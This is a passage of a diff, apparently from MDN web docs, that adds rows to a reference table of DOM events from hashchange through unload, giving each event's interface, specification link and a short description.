+ <td>{{DOMxRef("HashChangeEvent")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-hashchange">HTML5</a></td>
+ <td>The fragment identifier of the URL has changed (the part of the URL after the #).</td>
+ </tr>
+ <tr>
+ <td>{{Event("lostpointercapture")}}</td>
+ <td>{{DOMxRef("PointerEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/pointerevents/#the-lostpointercapture-event">Pointer Events</a></td>
+ <td>Element lost pointer capture.</td>
+ </tr>
+ <tr>
+ <td>{{Event("input")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/TR/html5/forms.html#common-event-behaviors">HTML5</a></td>
+ <td>The value of an element changes or the content of an element with the attribute <a href="/en-US/docs/DOM/Element.contentEditable">contenteditable</a> is modified.</td>
+ </tr>
+ <tr>
+ <td>{{Event("invalid")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#constraint-validation">HTML5</a></td>
+ <td>A submittable element has been checked and doesn't satisfy its constraints.</td>
+ </tr>
+ <tr>
+ <td>{{Event("keydown")}}</td>
+ <td>{{DOMxRef("KeyboardEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keydown" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A key is pressed down.</td>
+ </tr>
+ <tr>
+ <td>{{Event("keypress")}}</td>
+ <td>{{DOMxRef("KeyboardEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keypress" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A key is pressed down and that key normally produces a character value (use input instead).</td>
+ </tr>
+ <tr>
+ <td>{{Event("keyup")}}</td>
+ <td>{{DOMxRef("KeyboardEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keyup" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A key is released.</td>
+ </tr>
+ <tr>
+ <td>{{Event("languagechange")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td>{{ SpecName('HTML5.1', '#dom-navigator-languages', 'NavigatorLanguage.languages') }}</td>
+ <td>The user's preferred languages have changed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("levelchange")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+ <td>The <code>level</code> attribute has been updated.</td>
+ </tr>
+ <tr>
+ <td>{{Event("load")}}</td>
+ <td>{{DOMxRef("UIEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-load" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A resource and its dependent resources have finished loading.</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/load_(ProgressEvent)">load</a></code></td>
+ <td>{{DOMxRef("ProgressEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-load">XMLHttpRequest</a></td>
+ <td>Progression has been successful.</td>
+ </tr>
+ <tr>
+ <td>{{Event("loadeddata")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-loadeddata">HTML5 media</a></td>
+ <td>The first frame of the media has finished loading.</td>
+ </tr>
+ <tr>
+ <td>{{Event("loadedmetadata")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-loadedmetadata">HTML5 media</a></td>
+ <td>The metadata has been loaded.</td>
+ </tr>
+ <tr>
+ <td>{{Event("loadend")}}</td>
+ <td>{{DOMxRef("ProgressEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-loadend">XMLHttpRequest</a></td>
+ <td>Progress has stopped (after "error", "abort" or "load" have been dispatched).</td>
+ </tr>
+ <tr>
+ <td>{{Event("loadstart")}}</td>
+ <td>{{DOMxRef("ProgressEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/progress-events/">Progress </a><span>and </span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-loadstart">XMLHttpRequest</a></td>
+ <td>Progress has begun.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mark")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("SpeechSynthesisEvent")}}</td>
+ <td>{{SpecName('Web Speech API')}}</td>
+ <td>The spoken utterance reaches a named SSML "mark" tag.</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/message_websocket">message</a></code></td>
+ <td>{{DOMxRef("MessageEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+ <td>A message is received through a WebSocket.</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/message_webworker">message</a></code></td>
+ <td>{{DOMxRef("MessageEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/workers/#communicating-with-a-dedicated-worker">Web Workers</a></td>
+ <td>A message is received from a Web Worker.</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/message_webmessaging">message</a></code></td>
+ <td>{{DOMxRef("MessageEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/webmessaging/">Web Messaging</a></td>
+ <td>A message is received from a child (i)frame or a parent window.</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/message_serversentevents">message</a></code></td>
+ <td>{{DOMxRef("MessageEvent")}}</td>
+ <td><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+ <td>A message is received through an event source.</td>
+ </tr>
+ <tr>
+ <td>{{Event("messageerror")}}</td>
+ <td>{{DOMxRef("MessageEvent")}}</td>
+ <td>{{DOMxRef("MessagePort")}}, <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>, <a href="/en-US/docs/Web/API/Broadcast_Channel_API">Broadcast Channel</a>, {{DOMxRef("Window")}}</td>
+ <td>A message error is raised when a message is received by an object.</td>
+ </tr>
+ <tr>
+ <td>{{Event("message_(ServiceWorker)","message")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("ServiceWorkerMessageEvent")}} or {{DOMxRef("ExtendableMessageEvent")}}, depending on context.</td>
+ <td><a href="/en-US/docs/Web/API/Service_Worker_API">Service Workers</a></td>
+ <td>A message is received from a service worker, or a message is received in a service worker from another context.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mousedown")}}</td>
+ <td>{{DOMxRef("MouseEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mousedown" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A pointing device button (usually a mouse) is pressed on an element.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mouseenter")}}</td>
+ <td>{{DOMxRef("MouseEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseenter" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A pointing device is moved onto the element that has the listener attached.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mouseleave")}}</td>
+ <td>{{DOMxRef("MouseEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseleave" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A pointing device is moved off the element that has the listener attached.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mousemove")}}</td>
+ <td>{{DOMxRef("MouseEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mousemove" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A pointing device is moved over an element.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mouseout")}}</td>
+ <td>{{DOMxRef("MouseEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseout" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A pointing device is moved off the element that has the listener attached or off one of its children.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mouseover")}}</td>
+ <td>{{DOMxRef("MouseEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseover" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A pointing device is moved onto the element that has the listener attached or onto one of its children.</td>
+ </tr>
+ <tr>
+ <td>{{Event("mouseup")}}</td>
+ <td>{{DOMxRef("MouseEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-mouseup" style="white-space: nowrap;">DOM L3</a></td>
+ <td>A pointing device button is released over an element.</td>
+ </tr>
+ <tr>
+ <td>{{Event("nomatch")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("SpeechRecognitionEvent")}}</td>
+ <td>{{SpecName('Web Speech API')}}</td>
+ <td>The speech recognition service returns a final result with no significant recognition.</td>
+ </tr>
+ <tr>
+ <td>{{Event("notificationclick")}}</td>
+ <td>{{DOMxRef("NotificationEvent")}} {{Experimental_Inline}}</td>
+ <td>{{SpecName('Web Notifications','#dom-serviceworkerglobalscope-onnotificationclick','onnotificationclick')}}</td>
+ <td>A system notification<span style="line-height: 19.0909080505371px;"> spawned by {{DOMxRef("ServiceWorkerRegistration.showNotification()")}} has been clicked.</span></td>
+ </tr>
+ <tr>
+ <td>{{Event("noupdate")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+ <td>The manifest hadn't changed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("obsolete")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+ <td>The manifest was found to have become a 404 or 410 page, so the application cache is being deleted.</td>
+ </tr>
+ <tr>
+ <td>{{Event("offline")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#event-offline">HTML5 offline</a></td>
+ <td>The browser has lost access to the network.</td>
+ </tr>
+ <tr>
+ <td>{{Event("online")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#event-online">HTML5 offline</a></td>
+ <td>The browser has gained access to the network (but particular websites might be unreachable).</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/open_websocket">open</a></code></td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+ <td>A WebSocket connection has been established.</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/open_serversentevents">open</a></code></td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://dev.w3.org/html5/eventsource/">Server Sent Events</a></td>
+ <td>An event source connection has been established.</td>
+ </tr>
+ <tr>
+ <td>{{Event("orientationchange")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/TR/screen-orientation/">Screen Orientation</a></td>
+ <td>The orientation of the device (portrait/landscape) has changed</td>
+ </tr>
+ <tr>
+ <td>{{Event("pagehide")}}</td>
+ <td>{{DOMxRef("PageTransitionEvent")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-pagehide">HTML5</a></td>
+ <td>A session history entry is being traversed from.</td>
+ </tr>
+ <tr>
+ <td>{{Event("pageshow")}}</td>
+ <td>{{DOMxRef("PageTransitionEvent")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-pageshow">HTML5</a></td>
+ <td>A session history entry is being traversed to.</td>
+ </tr>
+ <tr>
+ <td>{{Event("paste")}}</td>
+ <td>{{DOMxRef("ClipboardEvent")}} {{Experimental_Inline}}</td>
+ <td><a href="http://www.w3.org/TR/clipboard-apis/#paste-event">Clipboard</a></td>
+ <td>Data has been transferred from the system clipboard to the document.</td>
+ </tr>
+ <tr>
+ <td>{{Event("pause")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-pause">HTML5 media</a></td>
+ <td>Playback has been paused.</td>
+ </tr>
+ <tr>
+ <td>{{Event("pause_(SpeechSynthesis)", "pause")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("SpeechSynthesisEvent")}}</td>
+ <td>{{SpecName('Web Speech API')}}</td>
+ <td>The utterance is paused part way through.</td>
+ </tr>
+ <tr>
+ <td>{{Event("pointercancel")}}</td>
+ <td>{{DOMxRef("PointerEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/pointerevents/#the-pointercancel-event">Pointer Events</a></td>
+ <td>The pointer is unlikely to produce any more events.</td>
+ </tr>
+ <tr>
+ <td>{{Event("pointerdown")}}</td>
+ <td>{{DOMxRef("PointerEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/pointerevents/#the-pointerdown-event">Pointer Events</a></td>
+ <td>The pointer enters the active buttons state.</td>
+ </tr>
+ <tr>
+ <td>{{Event("pointerenter")}}</td>
+ <td>{{DOMxRef("PointerEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/pointerevents/#the-pointerenter-event">Pointer Events</a></td>
+ <td>Pointing device is moved inside the hit-testing boundary.</td>
+ </tr>
+ <tr>
+ <td>{{Event("pointerleave")}}</td>
+ <td>{{DOMxRef("PointerEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/pointerevents/#the-pointerleave-event">Pointer Events</a></td>
+ <td>Pointing device is moved out of the hit-testing boundary.</td>
+ </tr>
+ <tr>
+ <td>{{Event("pointerlockchange")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/TR/pointerlock/#pointerlockchange-and-pointerlockerror-events">Pointer Lock</a></td>
+ <td>The pointer was locked or released.</td>
+ </tr>
+ <tr>
+ <td>{{Event("pointerlockerror")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/TR/pointerlock/#pointerlockchange-and-pointerlockerror-events">Pointer Lock</a></td>
+ <td>It was impossible to lock the pointer for technical reasons or because the permission was denied.</td>
+ </tr>
+ <tr>
+ <td>{{Event("pointermove")}}</td>
+ <td>{{DOMxRef("PointerEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/pointerevents/#the-pointermove-event">Pointer Events</a></td>
+ <td>The pointer changed coordinates.</td>
+ </tr>
+ <tr>
+ <td>{{Event("pointerout")}}</td>
+ <td>{{DOMxRef("PointerEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/pointerevents/#the-pointerout-event">Pointer Events</a></td>
+ <td>The pointing device moved out of hit-testing boundary or leaves detectable hover range.</td>
+ </tr>
+ <tr>
+ <td>{{Event("pointerover")}}</td>
+ <td>{{DOMxRef("PointerEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/pointerevents/#the-pointerover-event">Pointer Events</a></td>
+ <td>The pointing device is moved into the hit-testing boundary.</td>
+ </tr>
+ <tr>
+ <td>{{Event("pointerup")}}</td>
+ <td>{{DOMxRef("PointerEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/pointerevents/#the-pointerup-event">Pointer Events</a></td>
+ <td>The pointer leaves the active buttons state.</td>
+ </tr>
+ <tr>
+ <td>{{Event("play")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-play">HTML5 media</a></td>
+ <td>Playback has begun.</td>
+ </tr>
+ <tr>
+ <td>{{Event("playing")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-playing">HTML5 media</a></td>
+ <td>Playback is ready to start after having been paused or delayed due to lack of data.</td>
+ </tr>
+ <tr>
+ <td>{{Event("popstate")}}</td>
+ <td>{{DOMxRef("PopStateEvent")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-popstate">HTML5</a></td>
+ <td>A session history entry is being navigated to (in certain cases).</td>
+ </tr>
+ <tr>
+ <td>{{Event("progress")}}</td>
+ <td>{{DOMxRef("ProgressEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/progress-events/">Progress</a><span> <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-progress">XMLHttpRequest</a></td>
+ <td>In progress.</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/progress_(appcache_event)">progress</a></code></td>
+ <td>{{DOMxRef("ProgressEvent")}}</td>
+ <td><a href="http://www.w3.org/html/wg/drafts/html/master/browsers.html#offline">Offline</a></td>
+ <td>The user agent is downloading resources listed by the manifest.</td>
+ </tr>
+ <tr>
+ <td>{{Event("push")}}</td>
+ <td>{{DOMxRef("PushEvent")}} {{Experimental_Inline}}</td>
+ <td>{{SpecName("Push API")}}</td>
+ <td>A <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker</a> has received a push message.</td>
+ </tr>
+ <tr>
+ <td>{{Event("pushsubscriptionchange")}}</td>
+ <td>{{DOMxRef("PushEvent")}} {{Experimental_Inline}}</td>
+ <td>{{SpecName("Push API")}}</td>
+ <td>A <a href="/en-US/docs/Web/API/PushSubscription">PushSubscription</a> has expired.</td>
+ </tr>
+ <tr>
+ <td>{{Event("ratechange")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-ratechange">HTML5 media</a></td>
+ <td>The playback rate has changed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("readystatechange")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><span>HTML5 <span>and </span></span><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-readystatechange">XMLHttpRequest</a></td>
+ <td>The readyState attribute of a document has changed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("repeatEvent")}}</td>
+ <td>{{DOMxRef("TimeEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+ <td>A <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element is repeated.</td>
+ </tr>
+ <tr>
+ <td>{{Event("reset")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#form-submission-0#resetting-a-form">HTML5</a></td>
+ <td>A form is reset.</td>
+ </tr>
+ <tr>
+ <td>{{Event("resize")}}</td>
+ <td>{{DOMxRef("UIEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-resize" style="white-space: nowrap;">DOM L3</a></td>
+ <td>The document view has been resized.</td>
+ </tr>
+ <tr>
+ <td>{{Event("resourcetimingbufferfull")}}</td>
+ <td>{{DOMxRef("Performance")}}</td>
+ <td><a href="https://w3c.github.io/resource-timing/#dom-performance-onresourcetimingbufferfull">Resource Timing</a></td>
+ <td>The browser's resource timing buffer is full.</td>
+ </tr>
+ <tr>
+ <td>{{Event("result")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("SpeechRecognitionEvent")}} {{Experimental_Inline}}</td>
+ <td>{{SpecName('Web Speech API')}}</td>
+ <td>The speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app.</td>
+ </tr>
+ <tr>
+ <td>{{Event("resume")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("SpeechSynthesisEvent")}} {{Experimental_Inline}}</td>
+ <td>{{SpecName('Web Speech API')}}</td>
+ <td>A paused utterance is resumed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("scroll")}}</td>
+ <td>{{DOMxRef("UIEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-scroll" style="white-space: nowrap;">DOM L3</a></td>
+ <td>The document view or an element has been scrolled.</td>
+ </tr>
+ <tr>
+ <td>{{Event("seeked")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-seeked">HTML5 media</a></td>
+ <td>A <em>seek</em> operation completed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("seeking")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-seeking">HTML5 media</a></td>
+ <td>A <em>seek</em> operation began.</td>
+ </tr>
+ <tr>
+ <td>{{Event("select")}}</td>
+ <td>{{DOMxRef("UIEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-select" style="white-space: nowrap;">DOM L3</a></td>
+ <td>Some text is being selected.</td>
+ </tr>
+ <tr>
+ <td>{{Event("selectstart")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td>{{ SpecName('Selection API')}}</td>
+ <td>A selection just started.</td>
+ </tr>
+ <tr>
+ <td>{{Event("selectionchange")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td>{{ SpecName('Selection API')}}</td>
+ <td>The selection in the document has been changed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("show")}}</td>
+ <td>{{DOMxRef("MouseEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/html5/interactive-elements.html#context-menus">HTML5</a></td>
+ <td>A contextmenu event was fired on/bubbled to an element that has a <a href="/en-US/docs/DOM/element.contextmenu">contextmenu</a> attribute</td>
+ </tr>
+ <tr>
+ <td>{{Event("slotchange")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td>{{ SpecName('DOM WHATWG')}}</td>
+ <td>The node contents of a {{DOMxRef("HTMLSlotElement")}} ({{htmlelement("slot")}}) have changed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("soundend")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td>{{SpecName('Web Speech API')}}</td>
+ <td>Any sound — recognisable speech or not — has stopped being detected.</td>
+ </tr>
+ <tr>
+ <td>{{Event("soundstart")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td>{{SpecName('Web Speech API')}}</td>
+ <td>Any sound — recognisable speech or not — has been detected.</td>
+ </tr>
+ <tr>
+ <td>{{Event("speechend")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td>{{SpecName('Web Speech API')}}</td>
+ <td>Speech recognised by the speech recognition service has stopped being detected.</td>
+ </tr>
+ <tr>
+ <td>{{Event("speechstart")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td>{{SpecName('Web Speech API')}}</td>
+ <td>Sound that is recognised by the speech recognition service as speech has been detected.</td>
+ </tr>
+ <tr>
+ <td>{{Event("stalled")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-stalled">HTML5 media</a></td>
+ <td>The user agent is trying to fetch media data, but data is unexpectedly not forthcoming.</td>
+ </tr>
+ <tr>
+ <td>{{Event("start_(SpeechRecognition)","start")}} {{Experimental_Inline}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td>{{SpecName('Web Speech API')}}</td>
+ <td>The speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current <code>SpeechRecognition</code>.</td>
+ </tr>
+ <tr>
+ <td>{{Event("start_(SpeechSynthesis)","start")}}</td>
+ <td>{{DOMxRef("SpeechSynthesisEvent")}}</td>
+ <td>{{SpecName('Web Speech API')}}</td>
+ <td>The utterance has begun to be spoken.</td>
+ </tr>
+ <tr>
+ <td>{{Event("storage")}}</td>
+ <td>{{DOMxRef("StorageEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/webstorage/#the-storage-event">Web Storage</a></td>
+ <td>A storage area (<a href="/en-US/docs/DOM/Storage#localStorage">localStorage</a> or <a href="/en-US/docs/DOM/Storage#sessionStorage">sessionStorage</a>) has changed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("submit")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#form-submission-algorithm">HTML5</a></td>
+ <td>A form is submitted.</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/Reference/Events/success_indexedDB">success</a></code></td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+ <td>A request successfully completed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("suspend")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-suspend">HTML5 media</a></td>
+ <td>Media data loading has been suspended.</td>
+ </tr>
+ <tr>
+ <td>{{Event("SVGAbort")}}</td>
+ <td>{{DOMxRef("SVGEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+ <td>Page loading has been stopped before the <a href="/en-US/docs/SVG">SVG</a> was loaded.</td>
+ </tr>
+ <tr>
+ <td>{{Event("SVGError")}}</td>
+ <td>{{DOMxRef("SVGEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+ <td>An error has occurred before the <a href="/en-US/docs/SVG">SVG</a> was loaded.</td>
+ </tr>
+ <tr>
+ <td>{{Event("SVGLoad")}}</td>
+ <td>{{DOMxRef("SVGEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+ <td>An <a href="/en-US/docs/SVG">SVG</a> document has been loaded and parsed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("SVGResize")}}</td>
+ <td>{{DOMxRef("SVGEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+ <td>An <a href="/en-US/docs/SVG">SVG</a> document is being resized.</td>
+ </tr>
+ <tr>
+ <td>{{Event("SVGScroll")}}</td>
+ <td>{{DOMxRef("SVGEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+ <td>An <a href="/en-US/docs/SVG">SVG</a> document is being scrolled.</td>
+ </tr>
+ <tr>
+ <td>{{Event("SVGUnload")}}</td>
+ <td>{{DOMxRef("SVGEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+ <td>An <a href="/en-US/docs/SVG">SVG</a> document has been removed from a window or frame.</td>
+ </tr>
+ <tr>
+ <td>{{Event("SVGZoom")}}</td>
+ <td>{{DOMxRef("SVGZoomEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+ <td>An <a href="/en-US/docs/SVG">SVG</a> document is being zoomed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("timeout")}}</td>
+ <td>{{DOMxRef("ProgressEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-timeout">XMLHttpRequest</a></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{Event("timeupdate")}}</td>
+ <td>{{DOMxRef("Event")}}</td>
+ <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-timeupdate">HTML5 media</a></td>
+ <td>The time indicated by the <code>currentTime</code> attribute has been updated.</td>
+ </tr>
+ <tr>
+ <td>{{Event("touchcancel")}}</td>
+ <td>{{DOMxRef("TouchEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/touch-events/">Touch Events</a></td>
+ <td>A touch point has been disrupted in an implementation-specific manners (too many touch points for example).</td>
+ </tr>
+ <tr>
+ <td>{{Event("touchend")}}</td>
+ <td>{{DOMxRef("TouchEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/touch-events/#the-touchend-event">Touch Events</a></td>
+ <td>A touch point is removed from the touch surface.</td>
+ </tr>
+ <tr>
+ <td>{{Event("touchmove")}}</td>
+ <td>{{DOMxRef("TouchEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/touch-events/#the-touchmove-event">Touch Events</a></td>
+ <td>A touch point is moved along the touch surface.</td>
+ </tr>
+ <tr>
+ <td>{{Event("touchstart")}}</td>
+ <td>{{DOMxRef("TouchEvent")}}</td>
+ <td><a href="http://www.w3.org/TR/touch-events/#the-touchstart---------event">Touch Events</a></td>
+ <td>A touch point is placed on the touch surface.</td>
+ </tr>
+ <tr>
+ <td>{{Event("transitionend")}}</td>
+ <td>{{DOMxRef("TransitionEvent")}} {{Experimental_Inline}}</td>
+ <td><a href="http://www.w3.org/TR/css3-transitions/#transition-events">CSS Transitions</a></td>
+ <td>A <a href="/en-US/docs/CSS/CSS_transitions">CSS transition</a> has completed.</td>
+ </tr>
+ <tr>
+ <td>{{Event("unload")}}</td>
+ <td>{{DOMxRef("UIEvent")}}</td>
